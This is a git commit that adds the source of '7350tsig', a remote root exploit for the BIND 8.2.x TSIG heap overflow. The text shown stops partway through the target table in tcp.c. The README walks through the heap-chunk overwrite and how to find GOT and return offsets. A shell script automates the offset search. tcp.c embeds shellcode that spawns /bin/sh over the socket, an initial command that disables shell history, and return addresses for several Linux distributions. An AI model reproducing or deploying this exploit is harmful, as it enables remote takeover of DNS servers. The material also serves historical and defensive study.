diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/tsig | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/tsig')
| -rw-r--r-- | other/tsig/7350tsig.tar.gz | bin | 0 -> 11157 bytes | |||
| -rw-r--r-- | other/tsig/7350tsig/Makefile | 10 | ||||
| -rw-r--r-- | other/tsig/7350tsig/README | 83 | ||||
| -rw-r--r-- | other/tsig/7350tsig/TODO | 2 | ||||
| -rw-r--r-- | other/tsig/7350tsig/dnslib.c | 270 | ||||
| -rw-r--r-- | other/tsig/7350tsig/dnslib.h | 58 | ||||
| -rw-r--r-- | other/tsig/7350tsig/find-offset.sh | 87 | ||||
| -rw-r--r-- | other/tsig/7350tsig/tcp.c | 857 | ||||
| -rw-r--r-- | other/tsig/Makefile | 10 | ||||
| -rw-r--r-- | other/tsig/README | 83 | ||||
| -rw-r--r-- | other/tsig/TODO | 2 | ||||
| -rw-r--r-- | other/tsig/dnslib.c | 270 | ||||
| -rw-r--r-- | other/tsig/dnslib.h | 58 | ||||
| -rw-r--r-- | other/tsig/dnslib.o | bin | 0 -> 24064 bytes | |||
| -rw-r--r-- | other/tsig/find-offset.sh | 87 | ||||
| -rw-r--r-- | other/tsig/obsolete/find-offset.sh | 87 | ||||
| -rw-r--r-- | other/tsig/shellcode/execve-shellcode.s | 49 | ||||
| -rw-r--r-- | other/tsig/shellcode/peername.s | 79 | ||||
| -rw-r--r-- | other/tsig/shellcode/shellcode.c | 48 | ||||
| -rw-r--r-- | other/tsig/tcp.c | 857 | ||||
| -rw-r--r-- | other/tsig/tcp.o | bin | 0 -> 48888 bytes | |||
| -rw-r--r-- | other/tsig/tsig | bin | 0 -> 68262 bytes |
22 files changed, 2997 insertions, 0 deletions
diff --git a/other/tsig/7350tsig.tar.gz b/other/tsig/7350tsig.tar.gz new file mode 100644 index 0000000..8d41428 --- /dev/null +++ b/other/tsig/7350tsig.tar.gz | |||
| Binary files differ | |||
diff --git a/other/tsig/7350tsig/Makefile b/other/tsig/7350tsig/Makefile new file mode 100644 index 0000000..6010ccd --- /dev/null +++ b/other/tsig/7350tsig/Makefile | |||
| @@ -0,0 +1,10 @@ | |||
| 1 | CC = gcc | ||
| 2 | CFLAGS = -Wall -g -ggdb | ||
| 3 | OBJS = tcp.o dnslib.o | ||
| 4 | all: tsig | ||
| 5 | |||
| 6 | tsig: $(OBJS) | ||
| 7 | $(CC) -o $@ $(OBJS) | ||
| 8 | |||
| 9 | clean: | ||
| 10 | rm -rf $(OBJS) tsig | ||
diff --git a/other/tsig/7350tsig/README b/other/tsig/7350tsig/README new file mode 100644 index 0000000..da4ce79 --- /dev/null +++ b/other/tsig/7350tsig/README | |||
| @@ -0,0 +1,83 @@ | |||
| 1 | VULNERABILITY INFORMATION | ||
| 2 | |||
| 3 | The overflow occurs when BIND overwrites your TSIG record with its own, after | ||
| 4 | the end of the question section without proper bounds checking. | ||
| 5 | The overwritten data appears to be: | ||
| 6 | |||
| 7 | 00 00 fa 00 ff 00 00 00 00 ll ll 00 00 00 tt tt tt tt 01 2c 00 00 | ||
| 8 | id id 00 11 00 00 | ||
| 9 | |||
| 10 | where: | ||
| 11 | id is the original dns id | ||
| 12 | ll is the rdlength | ||
| 13 | tt is the time it was signed | ||
| 14 | |||
| 15 | TCP EXPLOITATION INFORMATION FROM SCUT | ||
| 16 | |||
| 17 | With TCP, packet space is allocated on the heap, always in 65536 sized | ||
| 18 | chunks. To exploit it one must obtain two packet chunks directly bordering. | ||
| 19 | To make named allocate space you must send at least the 2 initial bytes which | ||
| 20 | indicate the length of the packet. Creating just 2 allocated packets doesn't | ||
| 21 | work because of the many little things which are allocated inbetween | ||
| 22 | connections. I still don't have a completely reliable way of getting two | ||
| 23 | consecutive packets... | ||
| 24 | |||
| 25 | I overwrite the length with 'id id 00 11' where id is the DNS ID in the header | ||
| 26 | of the packet you sent. This is set to 0 of course. The advantage with this | ||
| 27 | is PREV_INUSE flag is set, so when its freed it doesnt try to consolidate the | ||
| 28 | previous block so the prev_size you just overwrote doesnt matter. The actual | ||
| 29 | length of the chunk is now 0x10, so there is 8 junk bytes, and then another | ||
| 30 | chunk which you can fully control, woohoo ;) malloc should try and consolidate | ||
| 31 | the two 'chunks', which should cause an overwrite..... | ||
| 32 | |||
| 33 | The layout of the 3rd packet after the overwrite will be: | ||
| 34 | |||
| 35 | <prev_size = 0><size = 0x11><junk> ... | ||
| 36 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | ||
| 37 | Overwritten -^ | ||
| 38 | |||
| 39 | mark previous as in use-. | ||
| 40 | v | ||
| 41 | <prev_size = 0><size = 0x11><retloc - 12><buffer + 12 + 1>... | ||
| 42 | |||
| 43 | mark previous as not in use-. | ||
| 44 | v | ||
| 45 | <prev_size = 0x10><size = 0x10><junk 8 bytes> | ||
| 46 | |||
| 47 | mark previous as in use-. | ||
| 48 | v | ||
| 49 | <prev_size = 0><size = 0x11><junk 8 bytes> | ||
| 50 | |||
| 51 | |||
| 52 | Important - after you send the complete overwrite packet remember to read | ||
| 53 | the response frmo the server, it will be about 65545 bytes, otherwise the | ||
| 54 | server hangs trying to send you data and the exploit doesn't work. | ||
| 55 | |||
| 56 | OFFSETS | ||
| 57 | |||
| 58 | Getting offsets for the udp simple method is relatively easy, it just takes | ||
| 59 | some single stepping skill, and knowledge of basic stack layout. For the | ||
| 60 | complex udp method its very difficult and time-consuming, and i don't | ||
| 61 | really have a systematic way of doing it. | ||
| 62 | TCP is much easier. Just do: | ||
| 63 | |||
| 64 | ltrace -e malloc -p `pidof named` | ||
| 65 | |||
| 66 | as root and watch the output as you create three simultaneous connections | ||
| 67 | and send two bytes on each. BIND should allocate memory for each connection | ||
| 68 | and the one you want is the second one. Add 13, and this is 'buf_addr' in | ||
| 69 | target_t. Then just do: | ||
| 70 | |||
| 71 | $ gdb /usr/sbin/named | ||
| 72 | (gdb) disass close | ||
| 73 | Dump of assembler code for function close: | ||
| 74 | 0x8049fa8 <close>: jmp *0x80f7230 | ||
| 75 | 0x8049fae <close+6>: push $0xa0 | ||
| 76 | 0x8049fb3 <close+11>: jmp 0x8049e58 | ||
| 77 | End of assembler dump. | ||
| 78 | (gdb) | ||
| 79 | |||
| 80 | The '0x80f7230' is the one you want for 'retloc' in target_t. And thats it! | ||
| 81 | Don't you just love the GOT ? :) | ||
| 82 | |||
| 83 | or just use find-offset.sh..... | ||
diff --git a/other/tsig/7350tsig/TODO b/other/tsig/7350tsig/TODO new file mode 100644 index 0000000..7ecb04c --- /dev/null +++ b/other/tsig/7350tsig/TODO | |||
| @@ -0,0 +1,2 @@ | |||
| 1 | Add many connections to create huge padded buffer | ||
| 2 | Collect more offsets | ||
diff --git a/other/tsig/7350tsig/dnslib.c b/other/tsig/7350tsig/dnslib.c new file mode 100644 index 0000000..25bb41c --- /dev/null +++ b/other/tsig/7350tsig/dnslib.c | |||
| @@ -0,0 +1,270 @@ | |||
| 1 | #include <stdio.h> | ||
| 2 | #include "dnslib.h" | ||
| 3 | #include <sys/types.h> | ||
| 4 | #include <sys/socket.h> | ||
| 5 | #include <netinet/in.h> | ||
| 6 | #include <arpa/inet.h> | ||
| 7 | |||
| 8 | int | ||
| 9 | dns_mklongdn (u_char *cp, int length) | ||
| 10 | { | ||
| 11 | int orig_len = length; | ||
| 12 | |||
| 13 | if (length == 0) | ||
| 14 | return (0); | ||
| 15 | |||
| 16 | again: | ||
| 17 | if (length <= 64) { | ||
| 18 | if (length == 1) { | ||
| 19 | fprintf (stderr, "fuck...\n"); | ||
| 20 | exit (-1); | ||
| 21 | } | ||
| 22 | *cp++ = length - 1; | ||
| 23 | memset (cp, 'A', length - 1); | ||
| 24 | cp += length - 1; | ||
| 25 | return (orig_len); | ||
| 26 | } else { | ||
| 27 | if (length == 65) { | ||
| 28 | /* we don't want just 1 byte left over */ | ||
| 29 | *cp++ = 0x3e; | ||
| 30 | memset (cp, 'A', 0x3f); | ||
| 31 | cp += 0x3f; | ||
| 32 | length -= 0x3f; | ||
| 33 | } else { | ||
| 34 | *cp++ = 0x3f; | ||
| 35 | memset (cp, 'A', 0x3f); | ||
| 36 | cp += 0x3f; | ||
| 37 | length -= 0x40; | ||
| 38 | } | ||
| 39 | goto again; | ||
| 40 | } | ||
| 41 | |||
| 42 | return (orig_len); | ||
| 43 | } | ||
| 44 | |||
| 45 | static void | ||
| 46 | hex_dump (unsigned char *buf, int len) | ||
| 47 | { | ||
| 48 | if (len > 0x50) | ||
| 49 | len = 0x50; | ||
| 50 | while (len--) { | ||
| 51 | fprintf (stderr, "%01x ", *buf++); | ||
| 52 | } | ||
| 53 | } | ||
| 54 | |||
| 55 | void | ||
| 56 | dns_debug (unsigned char *buf) | ||
| 57 | { | ||
| 58 | HEADER *hdr; | ||
| 59 | unsigned char *orig = buf; | ||
| 60 | unsigned char tmp[1024]; | ||
| 61 | int i; | ||
| 62 | |||
| 63 | hdr = (HEADER *)buf; | ||
| 64 | |||
| 65 | fprintf (stderr, | ||
| 66 | "qr = %d\n" | ||
| 67 | "id = %d\n" | ||
| 68 | "opcode = %d\n" | ||
| 69 | "aa = %d\n" | ||
| 70 | "tc = %d\n" | ||
| 71 | "rd = %d\n" | ||
| 72 | "ra = %d\n" | ||
| 73 | "rcode = %d\n" | ||
| 74 | "qdcount = %d\n" | ||
| 75 | "ancount = %d\n" | ||
| 76 | "nscount = %d\n" | ||
| 77 | "arcount = %d\n", | ||
| 78 | hdr->qr, ntohs(hdr->id), hdr->opcode, hdr->aa, hdr->tc, | ||
| 79 | hdr->rd, hdr->ra, hdr->rcode, | ||
| 80 | ntohs (hdr->qdcount), ntohs(hdr->ancount), | ||
| 81 | ntohs (hdr->nscount), ntohs (hdr->arcount)); | ||
| 82 | |||
| 83 | buf += NS_HFIXEDSZ; | ||
| 84 | |||
| 85 | i = ntohs (hdr->qdcount); | ||
| 86 | while (i--) { | ||
| 87 | u_int16_t type, klass; | ||
| 88 | |||
| 89 | buf += dns_dn_expand (buf, tmp, orig); | ||
| 90 | NS_GET16 (type, buf); | ||
| 91 | NS_GET16 (klass, buf); | ||
| 92 | fprintf (stderr, "\n%s %d %d\n", tmp, type, klass); | ||
| 93 | } | ||
| 94 | |||
| 95 | i = ntohs (hdr->ancount) + ntohs (hdr->nscount) + ntohs (hdr->arcount); | ||
| 96 | while (i--) { | ||
| 97 | u_int16_t type, klass, rdlength; | ||
| 98 | u_int32_t ttl; | ||
| 99 | |||
| 100 | buf += dns_dn_expand (buf, tmp, orig); | ||
| 101 | fprintf (stderr, "%s ", tmp); | ||
| 102 | NS_GET16 (type, buf); | ||
| 103 | NS_GET16 (klass, buf); | ||
| 104 | NS_GET32 (ttl, buf); | ||
| 105 | NS_GET16 (rdlength, buf); | ||
| 106 | |||
| 107 | fprintf (stderr, "%d %d ", type, klass); | ||
| 108 | switch (type) { | ||
| 109 | case ns_t_a: | ||
| 110 | fprintf (stderr, "%s\n", inet_ntoa (*(struct in_addr *)buf)); | ||
| 111 | break; | ||
| 112 | case ns_t_ptr: | ||
| 113 | case ns_t_cname: | ||
| 114 | case ns_t_ns: | ||
| 115 | dns_dn_expand (buf, tmp, orig); | ||
| 116 | fprintf (stderr, "%s\n", tmp); | ||
| 117 | break; | ||
| 118 | default: | ||
| 119 | hex_dump (buf, rdlength); | ||
| 120 | } | ||
| 121 | buf += rdlength; | ||
| 122 | } | ||
| 123 | |||
| 124 | } | ||
| 125 | |||
| 126 | /* make a full dns query including header. Returns length of packet. | ||
| 127 | */ | ||
| 128 | int | ||
| 129 | dns_mkquery (char *name, u_char *buffer, u_int16_t id, ns_type type, ns_class klass) | ||
| 130 | { | ||
| 131 | HEADER *head; | ||
| 132 | |||
| 133 | head = (HEADER *)buffer; | ||
| 134 | |||
| 135 | bzero (head, NS_HFIXEDSZ); | ||
| 136 | head->id = htons (id); | ||
| 137 | head->qr = 0; | ||
| 138 | head->opcode = 0; | ||
| 139 | head->aa = 0; | ||
| 140 | head->tc = 0; | ||
| 141 | head->rd = 1; | ||
| 142 | head->ra = 0; | ||
| 143 | head->rcode = 0; | ||
| 144 | head->qdcount = htons (1); | ||
| 145 | head->ancount = 0; | ||
| 146 | head->nscount = 0; | ||
| 147 | head->arcount = 0; | ||
| 148 | |||
| 149 | return (dns_mkqbody (name, buffer + NS_HFIXEDSZ, type, klass) + NS_HFIXEDSZ); | ||
| 150 | } | ||
| 151 | |||
| 152 | /* convert a \0-terminated string to a DNS domain name. | ||
| 153 | * www.yahoo.com(.) => \003www\005yahoo\003\com\000 | ||
| 154 | */ | ||
| 155 | int | ||
| 156 | dns_mkdn (char *in, u_char *out) | ||
| 157 | { | ||
| 158 | char *start = in, c = 0; | ||
| 159 | int n = strlen (in); | ||
| 160 | |||
| 161 | in += n - 1; | ||
| 162 | out += n + 1; | ||
| 163 | |||
| 164 | *out-- = 0; | ||
| 165 | |||
| 166 | n = 0; | ||
| 167 | while (in >= start) { | ||
| 168 | c = *in--; | ||
| 169 | if (c == '.') { | ||
| 170 | *out-- = n; | ||
| 171 | n = 0; | ||
| 172 | } else { | ||
| 173 | *out-- = c; | ||
| 174 | n++; | ||
| 175 | } | ||
| 176 | } | ||
| 177 | |||
| 178 | if (n) | ||
| 179 | *out-- = n; | ||
| 180 | |||
| 181 | return (strlen (out + 1) + 1); | ||
| 182 | } | ||
| 183 | |||
| 184 | /* simple function for making a, ptr and ns resource records | ||
| 185 | * doesn't support more complicated stuph. | ||
| 186 | */ | ||
| 187 | |||
| 188 | int | ||
| 189 | dns_mkrr (char *name, u_char *buf, ns_type type, ns_class klass, | ||
| 190 | char *rdata, u_int32_t ttl) | ||
| 191 | { | ||
| 192 | int n; | ||
| 193 | rrec_body *rec; | ||
| 194 | u_char *ptr = buf; | ||
| 195 | |||
| 196 | /* name the resource record pertains too */ | ||
| 197 | ptr += dns_mkdn (name, ptr); | ||
| 198 | rec = (rrec_body *)ptr; | ||
| 199 | rec->type = htons (type); | ||
| 200 | rec->klass = htons (klass); | ||
| 201 | rec->ttl = htonl (ttl); | ||
| 202 | rec->rdlength = 0; | ||
| 203 | ptr += 10; | ||
| 204 | |||
| 205 | switch (type) { | ||
| 206 | case ns_t_a: | ||
| 207 | *(u_int32_t *)ptr = inet_addr (rdata); | ||
| 208 | rec->rdlength = htons (4); | ||
| 209 | ptr += 4; | ||
| 210 | break; | ||
| 211 | case ns_t_ptr: | ||
| 212 | case ns_t_ns: | ||
| 213 | n = dns_mkdn (rdata, ptr); | ||
| 214 | ptr += n; | ||
| 215 | rec->rdlength = htons (n); | ||
| 216 | break; | ||
| 217 | default: | ||
| 218 | /**/ | ||
| 219 | } | ||
| 220 | return (ptr - buf); | ||
| 221 | } | ||
| 222 | |||
| 223 | /* make just the body of a DNS query. | ||
| 224 | */ | ||
| 225 | int | ||
| 226 | dns_mkqbody (char *name, u_char *buffer, ns_type type, ns_class klass) | ||
| 227 | { | ||
| 228 | int len; | ||
| 229 | |||
| 230 | len = dns_mkdn (name, buffer); | ||
| 231 | buffer += len; | ||
| 232 | NS_PUT16 (type, buffer); | ||
| 233 | NS_PUT16 (klass, buffer); | ||
| 234 | return (len + 4); | ||
| 235 | } | ||
| 236 | |||
| 237 | |||
| 238 | /* uncompress compressed dns names. ugh. | ||
| 239 | * works for normal formatted dns names too.. | ||
| 240 | * returns the length of the first part of the compressed name (i.e. | ||
| 241 | * before redirection). | ||
| 242 | */ | ||
| 243 | |||
| 244 | int | ||
| 245 | dns_dn_expand (u_char *in, char *out, u_char *msg) | ||
| 246 | { | ||
| 247 | u_char *start = in, *end = NULL; | ||
| 248 | u_char len; | ||
| 249 | u_int16_t off; | ||
| 250 | |||
| 251 | while ((len = *in++)) { | ||
| 252 | if (len & NS_CMPRSFLGS) { | ||
| 253 | if (end == NULL) | ||
| 254 | end = in + 1; | ||
| 255 | off = (len & ~NS_CMPRSFLGS); | ||
| 256 | off |= *in++ << 8; | ||
| 257 | off = ntohs (off); | ||
| 258 | in = msg + off; | ||
| 259 | continue; | ||
| 260 | } | ||
| 261 | memcpy (out, in, len); | ||
| 262 | out += len; | ||
| 263 | in += len; | ||
| 264 | *out++ = '.'; | ||
| 265 | } | ||
| 266 | if (end == NULL) | ||
| 267 | end = in; | ||
| 268 | *out++ = 0; | ||
| 269 | return (end - start); | ||
| 270 | } | ||
diff --git a/other/tsig/7350tsig/dnslib.h b/other/tsig/7350tsig/dnslib.h new file mode 100644 index 0000000..ccf4bfb --- /dev/null +++ b/other/tsig/7350tsig/dnslib.h | |||
| @@ -0,0 +1,58 @@ | |||
| 1 | /* dns helper functions by smiler / teso | ||
| 2 | * requires bind 8.x headers now | ||
| 3 | */ | ||
| 4 | |||
| 5 | #ifndef DNSLIB_H | ||
| 6 | #define DNSLIB_H | ||
| 7 | #include <stdlib.h> | ||
| 8 | #include <string.h> | ||
| 9 | #include <sys/types.h> | ||
| 10 | #include <arpa/nameser.h> | ||
| 11 | |||
| 12 | /* little endian macros */ | ||
| 13 | |||
| 14 | #define NS_LPUT16(s, blah) { \ | ||
| 15 | u_char *p = blah; \ | ||
| 16 | *(u_int16_t *)p = s; \ | ||
| 17 | blah += 2; \ | ||
| 18 | } | ||
| 19 | |||
| 20 | #define NS_LPUT32(s, blah) { \ | ||
| 21 | u_char *p = blah; \ | ||
| 22 | *(u_int32_t *)p = s; \ | ||
| 23 | blah += 4; \ | ||
| 24 | } | ||
| 25 | |||
| 26 | /* make a fully blown query packet */ | ||
| 27 | int dns_mkquery (char *name, u_char *buffer, u_int16_t id, ns_type type, ns_class klass); | ||
| 28 | |||
| 29 | /* make a query record */ | ||
| 30 | int dns_mkqbody (char *name, u_char *buffer, ns_type type, ns_class klass); | ||
| 31 | |||
| 32 | /* convert to dns names, i.e. www.yahoo.com ==> \003www\005yahoo\003com\000 */ | ||
| 33 | int dns_mkdn (char *in, u_char *out); | ||
| 34 | |||
| 35 | /* uncompress (unchecked) a dns name */ | ||
| 36 | int dns_dn_expand (u_char *in, char *out, u_char *msg); | ||
| 37 | |||
| 38 | /* make a long dns name fragment (without terminating \000) | ||
| 39 | * provided length > 1 | ||
| 40 | */ | ||
| 41 | int dns_mklongdn (u_char *cp, int length); | ||
| 42 | |||
| 43 | /* print debug information to stderr | ||
| 44 | */ | ||
| 45 | void dns_debug (unsigned char *buf); | ||
| 46 | |||
| 47 | typedef struct { | ||
| 48 | u_int16_t type; | ||
| 49 | u_int16_t klass; | ||
| 50 | u_int32_t ttl; | ||
| 51 | u_int16_t rdlength; | ||
| 52 | } rrec_body; | ||
| 53 | |||
| 54 | /* create a resource record */ | ||
| 55 | int dns_mkrr (char *name, u_char *buf, ns_type type, ns_class klass, | ||
| 56 | char *rdata, u_int32_t ttl); | ||
| 57 | |||
| 58 | #endif /* DNSLIB_H */ | ||
diff --git a/other/tsig/7350tsig/find-offset.sh b/other/tsig/7350tsig/find-offset.sh new file mode 100644 index 0000000..2338253 --- /dev/null +++ b/other/tsig/7350tsig/find-offset.sh | |||
| @@ -0,0 +1,87 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | check_util () | ||
| 4 | { | ||
| 5 | for util in $*; do | ||
| 6 | echo -n "checking for $util: " | ||
| 7 | if ! which $util; then | ||
| 8 | echo "not found, aborting" | ||
| 9 | exit | ||
| 10 | fi | ||
| 11 | done | ||
| 12 | } | ||
| 13 | |||
| 14 | echo "7350 tsig exploit tcp offset finder" | ||
| 15 | |||
| 16 | if [ $# != 2 ]; then | ||
| 17 | echo "usage: $0 /path/to/named/binary pid-of-running-named" | ||
| 18 | echo | ||
| 19 | exit | ||
| 20 | fi; | ||
| 21 | |||
| 22 | check_util ltrace objdump gcc | ||
| 23 | |||
| 24 | cat > lala.c << EOF | ||
| 25 | #include <stdio.h> | ||
| 26 | #include <netinet/in.h> | ||
| 27 | #include <sys/types.h> | ||
| 28 | #include <sys/socket.h> | ||
| 29 | |||
| 30 | int | ||
| 31 | get_connect (void) | ||
| 32 | { | ||
| 33 | int sock; | ||
| 34 | struct sockaddr_in sin; | ||
| 35 | |||
| 36 | memset (&sin, 0, sizeof(sin)); | ||
| 37 | |||
| 38 | sock = socket(AF_INET, SOCK_STREAM, 0); | ||
| 39 | if (sock < 0) { | ||
| 40 | perror ("socket"); | ||
| 41 | exit (-1); | ||
| 42 | } | ||
| 43 | sin.sin_addr.s_addr = inet_addr("127.0.0.1"); | ||
| 44 | sin.sin_port = htons (53); | ||
| 45 | sin.sin_family = AF_INET; | ||
| 46 | if (connect (sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) { | ||
| 47 | perror ("connect"); | ||
| 48 | exit (-1); | ||
| 49 | } | ||
| 50 | send (sock, "aa", 2, 0); | ||
| 51 | } | ||
| 52 | |||
| 53 | int | ||
| 54 | main (int argc, char **argv) | ||
| 55 | { | ||
| 56 | get_connect(); | ||
| 57 | get_connect(); | ||
| 58 | get_connect(); | ||
| 59 | return(0); | ||
| 60 | } | ||
| 61 | EOF | ||
| 62 | gcc lala.c -o lala | ||
| 63 | ltrace -e malloc -p $2 -o ltrace-log & | ||
| 64 | ltrace_pid="$!" | ||
| 65 | ./lala | ||
| 66 | kill -INT ${ltrace_pid} | ||
| 67 | cat ltrace-log | head -2 | tail -1 > tmp | ||
| 68 | cat tmp | cut -d '=' -f2 | cut -c4- > ltrace-log | ||
| 69 | HEH=`cat ltrace-log| tr 'a-z' 'A-Z'` | ||
| 70 | cat > dc << EOF | ||
| 71 | 16 | ||
| 72 | o | ||
| 73 | 16 | ||
| 74 | i | ||
| 75 | EOF | ||
| 76 | echo ${HEH} >> dc | ||
| 77 | echo "D" >> dc | ||
| 78 | echo "+" >> dc | ||
| 79 | echo "p" >> dc | ||
| 80 | ret_addr=`dc ./dc` | ||
| 81 | echo $HEH | ||
| 82 | echo "set ret_addr to 0x$ret_addr" | ||
| 83 | rm -f ltrace-log tmp lala.c lala dc | ||
| 84 | |||
| 85 | HEH=`objdump --dynamic-reloc $1 | grep " close$" | cut -f1 -d ' '` | ||
| 86 | HEH="0x$HEH" | ||
| 87 | echo "set retloc to $HEH" | ||
diff --git a/other/tsig/7350tsig/tcp.c b/other/tsig/7350tsig/tcp.c new file mode 100644 index 0000000..fa942f1 --- /dev/null +++ b/other/tsig/7350tsig/tcp.c | |||
| @@ -0,0 +1,857 @@ | |||
| 1 | /* coded by smiler / teso | ||
| 2 | * | ||
| 3 | * teso private release - do not distribute | ||
| 4 | * | ||
| 5 | * based on scut's method | ||
| 6 | * | ||
| 7 | * 0.2 added palmers slack 7.1 offsets | ||
| 8 | * 0.3 added scut's huge collection of offsets :) | ||
| 9 | * 0.4 added populator reliability -sc. :) | ||
| 10 | * | ||
| 11 | * feedback welcome, im sure there is a better way to do it than this. | ||
| 12 | */ | ||
| 13 | |||
| 14 | #include <stdio.h> | ||
| 15 | #include <string.h> | ||
| 16 | #include <stdlib.h> | ||
| 17 | #include <ctype.h> | ||
| 18 | #include <sys/time.h> | ||
| 19 | #include <sys/types.h> | ||
| 20 | #include <sys/select.h> | ||
| 21 | #include <sys/socket.h> | ||
| 22 | #include <netinet/in.h> | ||
| 23 | #include <netdb.h> | ||
| 24 | #include <fcntl.h> | ||
| 25 | #include <unistd.h> | ||
| 26 | #if !defined(__FreeBSD__) | ||
| 27 | # include <getopt.h> | ||
| 28 | #endif | ||
| 29 | #include "dnslib.h" | ||
| 30 | |||
| 31 | |||
| 32 | unsigned char xp_initstr[] = "unset HISTFILE;uname -a;id;\n"; | ||
| 33 | |||
| 34 | unsigned char trap_code[] = "\x06\x31\xc0\xfe\xc0\xcd\x80"; | ||
| 35 | |||
| 36 | /* peername code that checks the source port connecting | ||
| 37 | * also setsockopts the SO_RCVLOWAT value in case BIND is | ||
| 38 | * waiting for such, which can happen | ||
| 39 | */ | ||
| 40 | unsigned char peername_code[]= | ||
| 41 | "\x31\xdb\xb3\x07\x89\xe2\xeb\x09\xaa\xaa\xaa\xaa" | ||
| 42 | "\xaa\xaa\xaa\xaa\xaa\x6a\x10\x89\xe1\x51\x52\x68" | ||
| 43 | "\xfe\x00\x00\x00\x89\xe1\x31\xc0\xb0\x66\xcd\x80" | ||
| 44 | "\xa8\xff\x75\x09\x66\x81\x7c\x24\x12\x34\x52\x74" | ||
| 45 | "\x0c\x5a\xf6\xc2\xff\x74\x4f\xfe\xca\x52\xeb\xe2" | ||
| 46 | "\x38\x5b\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f" | ||
| 47 | "\xcd\x80\x67\xe3\x02\xeb\xf3\x6a\x04\x6a\x00\x6a" | ||
| 48 | "\x12\x6a\x01\x53\xb8\x66\x00\x00\x00\xbb\x0e\x00" | ||
| 49 | "\x00\x00\x89\xe1\xcd\x80\x6a\x00\x6a\x00\x68\x2f" | ||
| 50 | "\x73\x68\x00\x68\x2f\x62\x69\x6e\x8d\x4c\x24\x08" | ||
| 51 | "\x8d\x54\x24\x0c\x89\x21\x89\xe3\x31\xc0\xb0\x0b" | ||
| 52 | "\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"; | ||
| 53 | |||
| 54 | |||
| 55 | /* 34 byte x86/linux PIC arbitrary execute shellcode | ||
| 56 | */ | ||
| 57 | unsigned char x86_lnx_execve[] = | ||
| 58 | "\xeb\x1b\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75" | ||
| 59 | "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89" | ||
| 60 | "\xe1\xb0\x0b\xcd\x80\xe8\xe0\xff\xff\xff"; | ||
| 61 | |||
| 62 | typedef struct target { | ||
| 63 | char *name; | ||
| 64 | char *verstr; | ||
| 65 | int nl; | ||
| 66 | unsigned int ret_addr; | ||
| 67 | unsigned int retloc; | ||
| 68 | } target_t; | ||
| 69 | |||
| 70 | /* everything from 8.2 (included) to 8.2.3-REL (excluded) is vulnerable | ||
| 71 | */ | ||
| 72 | target_t targets[]={ | ||
| 73 | /* XXX: i (scut) think that retloc is always right, just retaddr | ||
| 74 | * can vary. i guess it varies when using different configurations | ||
| 75 | * so a way to reduce the effect is to send lots of tcp packets | ||
| 76 | * with nops + shellcode and then use a retaddr above the one | ||
| 77 | * returned by smilers script. like you send 10 * 64kb packets, | ||
| 78 | * just use 0x081n0000, n = [567] | ||
| 79 | * | ||
| 80 | * get the offsets this way: | ||
| 81 | * strings /usr/sbin/named | grep 8.2 | tail -1 | ||
| 82 | * md5sum /usr/sbin/named | ||
| 83 | * objdump --dynamic-reloc /usr/sbin/named | grep " close$" | ||
| 84 | * retaddr should be 0x08180000 in all cases | ||
| 85 | */ | ||
| 86 | |||
| 87 | /* bind-8.2.2p5-7.deb, /usr/sbin/named 1ab35b7360bab29809706c2b440fc147 */ | ||
| 88 | {"Debian 2.2 8.2.2p5-7 GOT", "8.2.2-P5-NOESW", 0, 0x08180000, 0x080b6d50 }, | ||
| 89 | /* bind-8.2.2p5-11.deb, /usr/sbin/named bf5bf8aa378bbb135833f3d924746574 */ | ||
| 90 | {"Debian 2.2 8.2.2p5-11 GOT", "8.2.2-P5-NOESW", 0, 0x08180000, 0x080b6f50 }, | ||
| 91 | /* bind-8.2.2p7-1.deb, /usr/sbin/named fddc29d50b773125302013cea4fe86cf */ | ||
| 92 | {"Debian 2.2 8.2.2p7-1 GOT", "8.2.2-P7-NOESW", 1, 0x08180000, 0x080b70b0 }, | ||
| 93 | |||
| 94 | /* bind-8.2.2P5-12mdk.i586.rpm, /usr/sbin/named 96cb52c21f622d47315739ee4c480206 */ | ||
| 95 | {"Mandrake 7.2 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080d6a6c }, | ||
| 96 | |||
| 97 | /* RedHat 5.2 uses 8.1.2 */ | ||
| 98 | /* bind-8.2-6.i386.rpm, /usr/sbin/named */ | ||
| 99 | {"RedHat 6.0 8.2 GOT", "8.2", 0, 0x08180000, 0x080c62ac }, | ||
| 100 | /* bind-8.2.1-7.i386.rpm, /usr/sbin/named 9e1efa3d6eb65d1d12e9c3afcb1679de */ | ||
| 101 | {"RedHat 6.1 8.2.1 GOT", "8.2.1", 0, 0x08180000, 0x080c3a2c }, | ||
| 102 | /* bind-8.2.2_P3*?.rpm, /usr/sbin/named 40ae845243a678a5762a464f08a67ab5 */ | ||
| 103 | {"RedHat 6.2 8.2.2-P3 GOT", "8.2.2-P3", 0, 0x08180000, 0x080c5170 }, | ||
| 104 | /* bind-8.2.2_P5-9.rpm, /usr/sbin/named a74c76eca6d2bd6ad20a8258e6ba0562 */ | ||
| 105 | {"RedHat 6.2 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080c56ac }, | ||
| 106 | /* bind-8.2.2_P5-25.i386.rpm, /usr/sbin/named ef247e20848ac07a3c5dde1d18d5e201 */ | ||
| 107 | {"RedHat 7.0 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080f7230 }, | ||
| 108 | |||
| 109 | /* SuSE 6.0 to 6.2 use BIND 8.1.2 */ | ||
| 110 | /* bind8.rpm, /usr/sbin/named 4afe958a1959918426572701dd650c4b */ | ||
| 111 | {"SuSE 6.3 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080d1d8c }, | ||
| 112 | /* bind8.rpm, /usr/sbin/named b8f62f57b9140e7c9a6abb12b8cb9751 */ | ||
